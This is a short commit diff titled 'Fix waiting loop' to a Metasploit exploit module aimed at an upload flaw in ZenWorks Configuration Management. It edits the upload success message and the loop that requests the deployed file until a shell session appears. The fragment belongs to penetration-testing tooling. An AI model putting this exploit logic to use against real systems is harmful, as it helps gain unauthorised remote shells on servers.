Fix waiting loop

modules/exploits/multi/http/zenworks_configuration_management_upload.rb

@@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
       }
     })
     if res && res.code == 200
-      print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
+      print_status("#{peer} - Upload appears to have been successful")
     else
       print_error("#{peer} - Failed to upload, try again with a different path?")
       return false
@@ -105,10 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri'    => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
         'method' => 'GET'
       })
+
       # Failure. The request timed out or the server went away.
-      return false if res.nil?
-      # Success! Triggered the payload, should have a shell incoming
-      return true if res.code == 200
+      break if res.nil?
+      # Failure. Unexpected answer
+      break if res.code != 200
+      # Unless session... keep looping
+      return true if session_created?
     end
 
     false